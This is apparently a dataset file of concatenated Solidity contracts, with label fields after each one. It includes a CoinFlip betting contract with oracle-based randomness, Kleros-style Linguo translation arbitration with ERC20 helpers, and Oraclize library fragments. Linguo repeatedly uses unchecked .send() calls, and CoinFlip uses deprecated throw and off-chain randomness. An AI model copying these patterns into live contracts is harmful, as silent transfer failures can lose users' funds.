if (oraclize_randomDS_sessionKeysHashVerified[sessionPubkeyHash] == false){
oraclize_randomDS_sessionKeysHashVerified[sessionPubkeyHash] = oraclize_randomDS_proofVerify__sessionKeyValidity(proof, sig2offset);
}
return oraclize_randomDS_sessionKeysHashVerified[sessionPubkeyHash];
}
function copyBytes(bytes from, uint fromOffset, uint length, bytes to, uint toOffset) internal pure returns (bytes) {
uint minLength = length + toOffset;
require(to.length >= minLength);
uint i = 32 + fromOffset;
uint j = 32 + toOffset;
while (i < (32 + fromOffset + length)) {
assembly {
let tmp := mload(add(from, i))
mstore(add(to, j), tmp)
}
i += 32;
j += 32;
}
return to;
}
function safer_ecrecover(bytes32 hash, uint8 v, bytes32 r, bytes32 s) internal returns (bool, address) {
bool ret;
address addr;
assembly {
let size := mload(0x40)
mstore(size, hash)
mstore(add(size, 32), v)
mstore(add(size, 64), r)
mstore(add(size, 96), s)
ret := call(3000, 1, 0, size, 128, size, 32)
addr := mload(size)
}
return (ret, addr);
}
function ecrecovery(bytes32 hash, bytes sig) internal returns (bool, address) {
bytes32 r;
bytes32 s;
uint8 v;
if (sig.length != 65)
return (false, 0);
assembly {
r := mload(add(sig, 32))
s := mload(add(sig, 64))
v := byte(0, mload(add(sig, 96)))
}
if (v < 27)
v += 27;
if (v != 27 && v != 28)
return (false, 0);
return safer_ecrecover(hash, v, r, s);
}
}
contract CoinFlip is usingOraclize {
modifier onlyAdmin() {
require(msg.sender == adminAddress);
_;
}
modifier onlyOraclize {
if (msg.sender != oraclize_cbAddress()) throw;
_;
}
event newBet(string _str);
address public adminAddress;
uint public minBet;
uint public maxProfit;
uint public oraclizeFee;
uint public adminFee;
uint public oraclizeGasLimit;
uint public maxProfitPercentage;
uint public totalPlay;
uint public totalLose;
uint public totalWon;
uint public totalWeiWon;
uint public totalWeiLose;
uint public contractBalance;
mapping (bytes32 => address) playerAddress;
mapping (bytes32 => uint) playerBetAmount;
mapping (bytes32 => uint) playerBetNumber;
string public _result;
function CoinFlip() payable {
adminAddress=msg.sender;
}
function __callback(bytes32 queryId, string result) onlyOraclize {
_result=result;
uint weiWon;
if( (parseInt(result)/50) == playerBetNumber[queryId] ){
totalWon++;
weiWon=( ( playerBetAmount[queryId] * adminFee/100 ) - oraclizeFee)*2;
totalWeiWon+=weiWon;
playerAddress[queryId].transfer(weiWon );
}else{
totalLose++;
}
maxProfit=(this.balance * maxProfitPercentage)/100;
delete playerAddress[queryId];
delete playerBetAmount[queryId];
delete playerBetNumber[queryId];
}
function Bet(uint _number) payable returns (bytes32){
uint betValue = msg.value;
assert(maxProfit > (betValue*2));
if(betValue < minBet) throw;
totalWeiLose+=betValue;
totalPlay++;
bytes32 queryId = oraclize_query("WolframAlpha", "random number between 0 and 99",oraclizeGasLimit);
playerAddress[queryId]=msg.sender;
playerBetAmount[queryId]=betValue;
playerBetNumber[queryId]=_number;
return queryId;
}
function setGame(uint _adminFee , uint _minBet , uint _oraclizeGasLimit , uint _maxProfitPercentage , uint _oraclizeFee , uint newGas) public onlyAdmin{
adminFee = _adminFee;
minBet = (_minBet * 1 wei);
oraclizeGasLimit = _oraclizeGasLimit ;
maxProfitPercentage= _maxProfitPercentage;
maxProfit=(this.balance*_maxProfitPercentage)/100;
oraclizeFee=(_oraclizeFee * 1 wei);
oraclize_setCustomGasPrice(newGas * 1 wei);
contractBalance=this.balance;
}
function withdraw(uint _amount , address _addr) public onlyAdmin{
_addr.transfer(_amount);
contractBalance=this.balance;
maxProfit=(contractBalance*maxProfitPercentage)/100;
}
function updateBalance() payable{
contractBalance=this.balance;
maxProfit=(contractBalance*maxProfitPercentage)/100;
}
function getGameVars() public view returns(
uint _maxProfit,
uint _minBet,
uint _totalPlay,
uint _totalLose,
uint _totalWon,
uint _maxProfitPercentage,
uint _contractbalance,
uint _totalWeiWon,
uint _totalWeiLose
){
_maxProfit=maxProfit;
_minBet=minBet;
_totalPlay=totalPlay;
_totalLose=totalLose;
_totalWon=totalWon;
_maxProfitPercentage=maxProfitPercentage;
_contractbalance=contractBalance;
_totalWeiWon=totalWeiWon;
_totalWeiLose=totalWeiLose;
}
} | 0 | 1,977 |
pragma solidity 0.7.4;
interface IArbitrable {
event Ruling(IArbitrator indexed _arbitrator, uint256 indexed _disputeID, uint256 _ruling);
function rule(uint256 _disputeID, uint256 _ruling) external;
}
interface IArbitrator {
enum DisputeStatus {Waiting, Appealable, Solved}
event DisputeCreation(uint256 indexed _disputeID, IArbitrable indexed _arbitrable);
event AppealPossible(uint256 indexed _disputeID, IArbitrable indexed _arbitrable);
event AppealDecision(uint256 indexed _disputeID, IArbitrable indexed _arbitrable);
function createDispute(uint256 _choices, bytes calldata _extraData) external payable returns (uint256 disputeID);
function arbitrationCost(bytes calldata _extraData) external view returns (uint256 cost);
function appeal(uint256 _disputeID, bytes calldata _extraData) external payable;
function appealCost(uint256 _disputeID, bytes calldata _extraData) external view returns (uint256 cost);
function appealPeriod(uint256 _disputeID) external view returns (uint256 start, uint256 end);
function disputeStatus(uint256 _disputeID) external view returns (DisputeStatus status);
function currentRuling(uint256 _disputeID) external view returns (uint256 ruling);
}
interface IEvidence {
event MetaEvidence(uint256 indexed _metaEvidenceID, string _evidence);
event Evidence(
IArbitrator indexed _arbitrator,
uint256 indexed _evidenceGroupID,
address indexed _party,
string _evidence
);
event Dispute(
IArbitrator indexed _arbitrator,
uint256 indexed _disputeID,
uint256 _metaEvidenceID,
uint256 _evidenceGroupID
);
}
library CappedMath {
uint constant private UINT_MAX = 2**256 - 1;
function addCap(uint _a, uint _b) internal pure returns (uint) {
uint c = _a + _b;
return c >= _a ? c : UINT_MAX;
}
function subCap(uint _a, uint _b) internal pure returns (uint) {
if (_b > _a)
return 0;
else
return _a - _b;
}
function mulCap(uint _a, uint _b) internal pure returns (uint) {
if (_a == 0)
return 0;
uint c = _a * _b;
return c / _a == _b ? c : UINT_MAX;
}
}
abstract contract Context {
function _msgSender() internal view virtual returns (address payable) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes memory) {
this;
return msg.data;
}
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
return c;
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeMath: modulo by zero");
}
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
library Address {
function isContract(address account) internal view returns (bool) {
bytes32 codehash;
bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470;
assembly { codehash := extcodehash(account) }
return (codehash != accountHash && codehash != 0x0);
}
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
(bool success, ) = recipient.call{ value: amount }("");
require(success, "Address: unable to send value, recipient may have reverted");
}
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCall(target, data, "Address: low-level call failed");
}
function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) {
return _functionCallWithValue(target, data, 0, errorMessage);
}
function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
}
function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) {
require(address(this).balance >= value, "Address: insufficient balance for call");
return _functionCallWithValue(target, data, value, errorMessage);
}
function _functionCallWithValue(address target, bytes memory data, uint256 weiValue, string memory errorMessage) private returns (bytes memory) {
require(isContract(target), "Address: call to non-contract");
(bool success, bytes memory returndata) = target.call{ value: weiValue }(data);
if (success) {
return returndata;
} else {
if (returndata.length > 0) {
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
}
contract Linguo is IArbitrable, IEvidence {
using CappedMath for uint256;
uint8 public constant VERSION_ID = 0;
uint256 public constant MULTIPLIER_DIVISOR = 10000;
uint256 private constant NOT_PAYABLE_VALUE = (2**256 - 2) / 2;
enum Status {Created, Assigned, AwaitingReview, DisputeCreated, Resolved}
enum Party {
None,
Translator,
Challenger
}
struct Task {
uint256 submissionTimeout;
uint256 minPrice;
uint256 maxPrice;
Status status;
uint256 lastInteraction;
address payable requester;
uint256 requesterDeposit;
uint256 sumDeposit;
address payable[3] parties;
uint256 disputeID;
Round[] rounds;
uint256 ruling;
}
struct Round {
uint256[3] paidFees;
bool[3] hasPaid;
uint256 feeRewards;
mapping(address => uint256[3]) contributions;
}
address public governor = msg.sender;
IArbitrator public immutable arbitrator;
bytes public arbitratorExtraData;
uint256 public reviewTimeout;
uint256 public translationMultiplier;
uint256 public challengeMultiplier;
uint256 public sharedStakeMultiplier;
uint256 public winnerStakeMultiplier;
uint256 public loserStakeMultiplier;
Task[] public tasks;
mapping(uint256 => uint256) public disputeIDtoTaskID;
event TaskCreated(uint256 indexed _taskID, address indexed _requester, uint256 _timestamp);
event TaskAssigned(uint256 indexed _taskID, address indexed _translator, uint256 _price, uint256 _timestamp);
event TranslationSubmitted(
uint256 indexed _taskID,
address indexed _translator,
string _translatedText,
uint256 _timestamp
);
event TranslationChallenged(uint256 indexed _taskID, address indexed _challenger, uint256 _timestamp);
event TaskResolved(uint256 indexed _taskID, string _reason, uint256 _timestamp);
event AppealContribution(uint256 indexed _taskID, Party _party, address indexed _contributor, uint256 _amount);
event HasPaidAppealFee(uint256 indexed _taskID, Party _party);
modifier onlyGovernor() {
require(msg.sender == governor, "Only governor is allowed to perform this.");
_;
}
constructor(
IArbitrator _arbitrator,
bytes memory _arbitratorExtraData,
uint256 _reviewTimeout,
uint256 _translationMultiplier,
uint256 _challengeMultiplier,
uint256 _sharedStakeMultiplier,
uint256 _winnerStakeMultiplier,
uint256 _loserStakeMultiplier
) public {
arbitrator = _arbitrator;
arbitratorExtraData = _arbitratorExtraData;
reviewTimeout = _reviewTimeout;
translationMultiplier = _translationMultiplier;
challengeMultiplier = _challengeMultiplier;
sharedStakeMultiplier = _sharedStakeMultiplier;
winnerStakeMultiplier = _winnerStakeMultiplier;
loserStakeMultiplier = _loserStakeMultiplier;
}
function changeGovernor(address _governor) public onlyGovernor {
governor = _governor;
}
function changeReviewTimeout(uint256 _reviewTimeout) public onlyGovernor {
reviewTimeout = _reviewTimeout;
}
function changeTranslationMultiplier(uint256 _translationMultiplier) public onlyGovernor {
translationMultiplier = _translationMultiplier;
}
function changeChallengeMultiplier(uint256 _challengeMultiplier) public onlyGovernor {
challengeMultiplier = _challengeMultiplier;
}
function changeSharedStakeMultiplier(uint256 _sharedStakeMultiplier) public onlyGovernor {
sharedStakeMultiplier = _sharedStakeMultiplier;
}
function changeWinnerStakeMultiplier(uint256 _winnerStakeMultiplier) public onlyGovernor {
winnerStakeMultiplier = _winnerStakeMultiplier;
}
function changeLoserStakeMultiplier(uint256 _loserStakeMultiplier) public onlyGovernor {
loserStakeMultiplier = _loserStakeMultiplier;
}
function createTask(
uint256 _deadline,
uint256 _minPrice,
string calldata _metaEvidence
) external payable returns (uint256 taskID) {
require(msg.value >= _minPrice, "Deposited value should be greater than or equal to the min price.");
require(_deadline > block.timestamp, "The deadline should be in the future.");
taskID = tasks.length;
Task storage task = tasks.push();
task.submissionTimeout = _deadline - block.timestamp;
task.minPrice = _minPrice;
task.maxPrice = msg.value;
task.lastInteraction = block.timestamp;
task.requester = msg.sender;
task.requesterDeposit = msg.value;
emit MetaEvidence(taskID, _metaEvidence);
emit TaskCreated(taskID, msg.sender, block.timestamp);
}
function assignTask(uint256 _taskID) external payable {
Task storage task = tasks[_taskID];
require(block.timestamp - task.lastInteraction <= task.submissionTimeout, "The deadline has already passed.");
uint256 price = task.minPrice +
((task.maxPrice - task.minPrice) * (block.timestamp - task.lastInteraction)) /
task.submissionTimeout;
uint256 arbitrationCost = arbitrator.arbitrationCost(arbitratorExtraData);
uint256 translatorDeposit = arbitrationCost.addCap((translationMultiplier.mulCap(price)) / MULTIPLIER_DIVISOR);
require(task.status == Status.Created, "Task has already been assigned or reimbursed.");
require(msg.value >= translatorDeposit, "Not enough ETH to reach the required deposit value.");
task.parties[uint256(Party.Translator)] = msg.sender;
task.status = Status.Assigned;
uint256 remainder = task.maxPrice - price;
task.requester.send(remainder);
task.requesterDeposit = price;
task.sumDeposit = translatorDeposit;
remainder = msg.value - translatorDeposit;
msg.sender.send(remainder);
emit TaskAssigned(_taskID, msg.sender, price, block.timestamp);
}
function submitTranslation(uint256 _taskID, string calldata _translation) external {
Task storage task = tasks[_taskID];
require(
task.status == Status.Assigned,
"The task is either not assigned or translation has already been submitted."
);
require(block.timestamp - task.lastInteraction <= task.submissionTimeout, "The deadline has already passed.");
require(
msg.sender == task.parties[uint256(Party.Translator)],
"Can't submit translation to a task that wasn't assigned to you."
);
task.status = Status.AwaitingReview;
task.lastInteraction = block.timestamp;
emit TranslationSubmitted(_taskID, msg.sender, _translation, block.timestamp);
}
function reimburseRequester(uint256 _taskID) external {
Task storage task = tasks[_taskID];
require(task.status < Status.AwaitingReview, "Can't reimburse if translation was submitted.");
require(
block.timestamp - task.lastInteraction > task.submissionTimeout,
"Can't reimburse if the deadline hasn't passed yet."
);
task.status = Status.Resolved;
uint256 amount = task.requesterDeposit + task.sumDeposit;
task.requester.send(amount);
task.requesterDeposit = 0;
task.sumDeposit = 0;
emit TaskResolved(_taskID, "requester-reimbursed", block.timestamp);
}
function acceptTranslation(uint256 _taskID) external {
Task storage task = tasks[_taskID];
require(task.status == Status.AwaitingReview, "The task is in the wrong status.");
require(block.timestamp - task.lastInteraction > reviewTimeout, "The review phase hasn't passed yet.");
task.status = Status.Resolved;
uint256 amount = task.requesterDeposit + task.sumDeposit;
task.parties[uint256(Party.Translator)].send(amount);
task.requesterDeposit = 0;
task.sumDeposit = 0;
emit TaskResolved(_taskID, "translation-accepted", block.timestamp);
}
function challengeTranslation(uint256 _taskID, string calldata _evidence) external payable {
Task storage task = tasks[_taskID];
uint256 arbitrationCost = arbitrator.arbitrationCost(arbitratorExtraData);
uint256 challengeDeposit = arbitrationCost.addCap(
(challengeMultiplier.mulCap(task.requesterDeposit)) / MULTIPLIER_DIVISOR
);
require(task.status == Status.AwaitingReview, "The task is in the wrong status.");
require(block.timestamp - task.lastInteraction <= reviewTimeout, "The review phase has already passed.");
require(msg.value >= challengeDeposit, "Not enough ETH to cover challenge deposit.");
task.status = Status.DisputeCreated;
task.parties[uint256(Party.Challenger)] = msg.sender;
task.disputeID = arbitrator.createDispute{value: arbitrationCost}(2, arbitratorExtraData);
disputeIDtoTaskID[task.disputeID] = _taskID;
task.rounds.push();
task.sumDeposit = task.sumDeposit.addCap(challengeDeposit).subCap(arbitrationCost);
uint256 remainder = msg.value - challengeDeposit;
msg.sender.send(remainder);
emit Dispute(arbitrator, task.disputeID, _taskID, _taskID);
emit TranslationChallenged(_taskID, msg.sender, block.timestamp);
if (bytes(_evidence).length > 0) emit Evidence(arbitrator, _taskID, msg.sender, _evidence);
}
function fundAppeal(uint256 _taskID, Party _side) external payable {
Task storage task = tasks[_taskID];
require(
_side == Party.Translator || _side == Party.Challenger,
"Recipient must be either the translator or challenger."
);
require(task.status == Status.DisputeCreated, "No dispute to appeal.");
require(
arbitrator.disputeStatus(task.disputeID) == IArbitrator.DisputeStatus.Appealable,
"Dispute is not appealable."
);
(uint256 appealPeriodStart, uint256 appealPeriodEnd) = arbitrator.appealPeriod(task.disputeID);
require(
block.timestamp >= appealPeriodStart && block.timestamp < appealPeriodEnd,
"Funding must be made within the appeal period."
);
uint256 winner = arbitrator.currentRuling(task.disputeID);
uint256 multiplier;
if (winner == uint256(_side)) {
multiplier = winnerStakeMultiplier;
} else if (winner == 0) {
multiplier = sharedStakeMultiplier;
} else {
require(
block.timestamp - appealPeriodStart < (appealPeriodEnd - appealPeriodStart) / 2,
"The loser must pay during the first half of the appeal period."
);
multiplier = loserStakeMultiplier;
}
Round storage round = task.rounds[task.rounds.length - 1];
require(!round.hasPaid[uint256(_side)], "Appeal fee has already been paid.");
uint256 appealCost = arbitrator.appealCost(task.disputeID, arbitratorExtraData);
uint256 totalCost = appealCost.addCap((appealCost.mulCap(multiplier)) / MULTIPLIER_DIVISOR);
uint256 contribution;
uint256 remainingETH;
(contribution, remainingETH) = calculateContribution(
msg.value,
totalCost.subCap(round.paidFees[uint256(_side)])
);
round.contributions[msg.sender][uint256(_side)] += contribution;
round.paidFees[uint256(_side)] += contribution;
emit AppealContribution(_taskID, _side, msg.sender, contribution);
if (round.paidFees[uint256(_side)] >= totalCost) {
round.hasPaid[uint256(_side)] = true;
round.feeRewards += round.paidFees[uint256(_side)];
emit HasPaidAppealFee(_taskID, _side);
}
msg.sender.send(remainingETH);
if (round.hasPaid[uint256(Party.Translator)] && round.hasPaid[uint256(Party.Challenger)]) {
arbitrator.appeal{value: appealCost}(task.disputeID, arbitratorExtraData);
task.rounds.push();
round.feeRewards = round.feeRewards.subCap(appealCost);
}
}
function calculateContribution(uint256 _available, uint256 _requiredAmount)
internal
pure
returns (uint256 taken, uint256 remainder)
{
if (_requiredAmount > _available) return (_available, 0);
remainder = _available - _requiredAmount;
return (_requiredAmount, remainder);
}
function withdrawFeesAndRewards(
address payable _beneficiary,
uint256 _taskID,
uint256 _round
) public {
Task storage task = tasks[_taskID];
Round storage round = task.rounds[_round];
require(task.status == Status.Resolved, "The task should be resolved.");
uint256 reward;
if (!round.hasPaid[uint256(Party.Translator)] || !round.hasPaid[uint256(Party.Challenger)]) {
reward =
round.contributions[_beneficiary][uint256(Party.Translator)] +
round.contributions[_beneficiary][uint256(Party.Challenger)];
round.contributions[_beneficiary][uint256(Party.Translator)] = 0;
round.contributions[_beneficiary][uint256(Party.Challenger)] = 0;
} else if (task.ruling == uint256(Party.None)) {
uint256 rewardTranslator = round.paidFees[uint256(Party.Translator)] > 0
? (round.contributions[_beneficiary][uint256(Party.Translator)] * round.feeRewards) /
(round.paidFees[uint256(Party.Translator)] + round.paidFees[uint256(Party.Challenger)])
: 0;
uint256 rewardChallenger = round.paidFees[uint256(Party.Challenger)] > 0
? (round.contributions[_beneficiary][uint256(Party.Challenger)] * round.feeRewards) /
(round.paidFees[uint256(Party.Translator)] + round.paidFees[uint256(Party.Challenger)])
: 0;
reward = rewardTranslator + rewardChallenger;
round.contributions[_beneficiary][uint256(Party.Translator)] = 0;
round.contributions[_beneficiary][uint256(Party.Challenger)] = 0;
} else {
reward = round.paidFees[task.ruling] > 0
? (round.contributions[_beneficiary][task.ruling] * round.feeRewards) / round.paidFees[task.ruling]
: 0;
round.contributions[_beneficiary][task.ruling] = 0;
}
_beneficiary.send(reward);
}
function batchRoundWithdraw(
address payable _beneficiary,
uint256 _taskID,
uint256 _cursor,
uint256 _count
) public {
Task storage task = tasks[_taskID];
for (uint256 i = _cursor; i < task.rounds.length && (_count == 0 || i < _cursor + _count); i++)
withdrawFeesAndRewards(_beneficiary, _taskID, i);
}
function rule(uint256 _disputeID, uint256 _ruling) external override {
Party resultRuling = Party(_ruling);
uint256 taskID = disputeIDtoTaskID[_disputeID];
Task storage task = tasks[taskID];
Round storage round = task.rounds[task.rounds.length - 1];
require(msg.sender == address(arbitrator), "Must be called by the arbitrator.");
require(task.status == Status.DisputeCreated, "The dispute has already been resolved.");
if (round.hasPaid[uint256(Party.Translator)] == true) resultRuling = Party.Translator;
else if (round.hasPaid[uint256(Party.Challenger)] == true) resultRuling = Party.Challenger;
emit Ruling(IArbitrator(msg.sender), _disputeID, uint256(resultRuling));
executeRuling(_disputeID, uint256(resultRuling));
}
function executeRuling(uint256 _disputeID, uint256 _ruling) internal {
uint256 taskID = disputeIDtoTaskID[_disputeID];
Task storage task = tasks[taskID];
task.status = Status.Resolved;
task.ruling = _ruling;
uint256 amount;
if (_ruling == uint256(Party.None)) {
task.requester.send(task.requesterDeposit);
amount = task.sumDeposit / 2;
task.parties[uint256(Party.Translator)].send(amount);
task.parties[uint256(Party.Challenger)].send(amount);
} else if (_ruling == uint256(Party.Translator)) {
amount = task.requesterDeposit + task.sumDeposit;
task.parties[uint256(Party.Translator)].send(amount);
} else {
task.requester.send(task.requesterDeposit);
task.parties[uint256(Party.Challenger)].send(task.sumDeposit);
}
task.requesterDeposit = 0;
task.sumDeposit = 0;
emit TaskResolved(taskID, "dispute-settled", block.timestamp);
}
function submitEvidence(uint256 _taskID, string calldata _evidence) external {
Task storage task = tasks[_taskID];
require(task.status != Status.Resolved, "The task must not already be resolved.");
emit Evidence(arbitrator, _taskID, msg.sender, _evidence);
}
function amountWithdrawable(uint256 _taskID, address payable _beneficiary) external view returns (uint256 total) {
Task storage task = tasks[_taskID];
if (task.status != Status.Resolved) return total;
for (uint256 i = 0; i < task.rounds.length; i++) {
Round storage round = task.rounds[i];
if (!round.hasPaid[uint256(Party.Translator)] || !round.hasPaid[uint256(Party.Challenger)]) {
total +=
round.contributions[_beneficiary][uint256(Party.Translator)] +
round.contributions[_beneficiary][uint256(Party.Challenger)];
} else if (task.ruling == uint256(Party.None)) {
uint256 rewardTranslator = round.paidFees[uint256(Party.Translator)] > 0
? (round.contributions[_beneficiary][uint256(Party.Translator)] * round.feeRewards) /
(round.paidFees[uint256(Party.Translator)] + round.paidFees[uint256(Party.Challenger)])
: 0;
uint256 rewardChallenger = round.paidFees[uint256(Party.Challenger)] > 0
? (round.contributions[_beneficiary][uint256(Party.Challenger)] * round.feeRewards) /
(round.paidFees[uint256(Party.Translator)] + round.paidFees[uint256(Party.Challenger)])
: 0;
total += rewardTranslator + rewardChallenger;
} else {
total += round.paidFees[uint256(task.ruling)] > 0
? (round.contributions[_beneficiary][uint256(task.ruling)] * round.feeRewards) /
round.paidFees[uint256(task.ruling)]
: 0;
}
}
return total;
}
function getDepositValue(uint256 _taskID) public view returns (uint256 deposit) {
Task storage task = tasks[_taskID];
if (block.timestamp - task.lastInteraction > task.submissionTimeout || task.status != Status.Created) {
deposit = NOT_PAYABLE_VALUE;
} else {
uint256 price = task.minPrice +
((task.maxPrice - task.minPrice) * (block.timestamp - task.lastInteraction)) /
task.submissionTimeout;
uint256 arbitrationCost = arbitrator.arbitrationCost(arbitratorExtraData);
deposit = arbitrationCost.addCap((translationMultiplier.mulCap(price)) / MULTIPLIER_DIVISOR);
}
}
function getChallengeValue(uint256 _taskID) public view returns (uint256 deposit) {
Task storage task = tasks[_taskID];
if (block.timestamp - task.lastInteraction > reviewTimeout || task.status != Status.AwaitingReview) {
deposit = NOT_PAYABLE_VALUE;
} else {
uint256 arbitrationCost = arbitrator.arbitrationCost(arbitratorExtraData);
deposit = arbitrationCost.addCap((challengeMultiplier.mulCap(task.requesterDeposit)) / MULTIPLIER_DIVISOR);
}
}
function getTaskPrice(uint256 _taskID) public view returns (uint256 price) {
Task storage task = tasks[_taskID];
if (block.timestamp - task.lastInteraction > task.submissionTimeout || task.status != Status.Created) {
price = 0;
} else {
price =
task.minPrice +
((task.maxPrice - task.minPrice) * (block.timestamp - task.lastInteraction)) /
task.submissionTimeout;
}
}
function getTaskCount() public view returns (uint256) {
return tasks.length;
}
function getNumberOfRounds(uint256 _taskID) public view returns (uint256) {
Task storage task = tasks[_taskID];
return task.rounds.length;
}
function getContributions(
uint256 _taskID,
uint256 _round,
address _contributor
) public view returns (uint256[3] memory contributions) {
Task storage task = tasks[_taskID];
Round storage round = task.rounds[_round];
contributions = round.contributions[_contributor];
}
function getTaskParties(uint256 _taskID) public view returns (address payable[3] memory parties) {
Task storage task = tasks[_taskID];
parties = task.parties;
}
function getRoundInfo(uint256 _taskID, uint256 _round)
public
view
returns (
uint256[3] memory paidFees,
bool[3] memory hasPaid,
uint256 feeRewards
)
{
Task storage task = tasks[_taskID];
Round storage round = task.rounds[_round];
return (round.paidFees, round.hasPaid, round.feeRewards);
}
}
contract ERC20 is Context, IERC20 {
using SafeMath for uint256;
using Address for address;
mapping (address => uint256) private _balances;
mapping (address => mapping (address => uint256)) private _allowances;
uint256 private _totalSupply;
string private _name;
string private _symbol;
uint8 private _decimals;
constructor (string memory name, string memory symbol) {
_name = name;
_symbol = symbol;
_decimals = 18;
}
function name() public view returns (string memory) {
return _name;
}
function symbol() public view returns (string memory) {
return _symbol;
}
function decimals() public view returns (uint8) {
return _decimals;
}
function totalSupply() public view override returns (uint256) {
return _totalSupply;
}
function balanceOf(address account) public view override returns (uint256) {
return _balances[account];
}
function transfer(address recipient, uint256 amount) public virtual override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) public view virtual override returns (uint256) {
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount) public virtual override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint256 amount) public virtual override returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue));
return true;
}
function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero"));
return true;
}
function _transfer(address sender, address recipient, uint256 amount) internal virtual {
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
_beforeTokenTransfer(sender, recipient, amount);
_balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance");
_balances[recipient] = _balances[recipient].add(amount);
emit Transfer(sender, recipient, amount);
}
function _mint(address account, uint256 amount) internal virtual {
require(account != address(0), "ERC20: mint to the zero address");
_beforeTokenTransfer(address(0), account, amount);
_totalSupply = _totalSupply.add(amount);
_balances[account] = _balances[account].add(amount);
emit Transfer(address(0), account, amount);
}
function _burn(address account, uint256 amount) internal virtual {
require(account != address(0), "ERC20: burn from the zero address");
_beforeTokenTransfer(account, address(0), amount);
_balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance");
_totalSupply = _totalSupply.sub(amount);
emit Transfer(account, address(0), amount);
}
function _approve(address owner, address spender, uint256 amount) internal virtual {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _setupDecimals(uint8 decimals_) internal {
_decimals = decimals_;
}
function _beforeTokenTransfer(address from, address to, uint256 amount) internal virtual { }
}
abstract contract ERC20Burnable is Context, ERC20 {
using SafeMath for uint256;
function burn(uint256 amount) public virtual {
_burn(_msgSender(), amount);
}
function burnFrom(address account, uint256 amount) public virtual {
uint256 decreasedAllowance = allowance(account, _msgSender()).sub(amount, "ERC20: burn amount exceeds allowance");
_approve(account, _msgSender(), decreasedAllowance);
_burn(account, amount);
}
}
contract ERC20Mock is ERC20, ERC20Burnable {
constructor(address initialAccount, uint256 initialBalance) ERC20("MockToken", "MCT") {
_mint(initialAccount, initialBalance);
}
} | 0 | 158 |
pragma solidity ^0.4.20;
contract OraclizeI {
address public cbAddress;
function query(uint _timestamp, string _datasource, string _arg) payable returns (bytes32 _id);
function query_withGasLimit(uint _timestamp, string _datasource, string _arg, uint _gaslimit) payable returns (bytes32 _id);
function query2(uint _timestamp, string _datasource, string _arg1, string _arg2) payable returns (bytes32 _id);
function query2_withGasLimit(uint _timestamp, string _datasource, string _arg1, string _arg2, uint _gaslimit) payable returns (bytes32 _id);
function queryN(uint _timestamp, string _datasource, bytes _argN) payable returns (bytes32 _id);
function queryN_withGasLimit(uint _timestamp, string _datasource, bytes _argN, uint _gaslimit) payable returns (bytes32 _id);
function getPrice(string _datasource) returns (uint _dsprice);
function getPrice(string _datasource, uint gaslimit) returns (uint _dsprice);
function useCoupon(string _coupon);
function setProofType(byte _proofType);
function setConfig(bytes32 _config);
function setCustomGasPrice(uint _gasPrice);
function randomDS_getSessionPubKeyHash() returns(bytes32);
}
contract OraclizeAddrResolverI {
function getAddress() returns (address _addr);
}
library Buffer {
struct buffer {
bytes buf;
uint capacity;
}
function init(buffer memory buf, uint capacity) internal constant {
if(capacity % 32 != 0) capacity += 32 - (capacity % 32);
buf.capacity = capacity;
assembly {
let ptr := mload(0x40)
mstore(buf, ptr)
mstore(0x40, add(ptr, capacity))
}
}
function resize(buffer memory buf, uint capacity) private constant {
bytes memory oldbuf = buf.buf;
init(buf, capacity);
append(buf, oldbuf);
}
function max(uint a, uint b) private constant returns(uint) {
if(a > b) {
return a;
}
return b;
}
function append(buffer memory buf, bytes data) internal constant returns(buffer memory) {
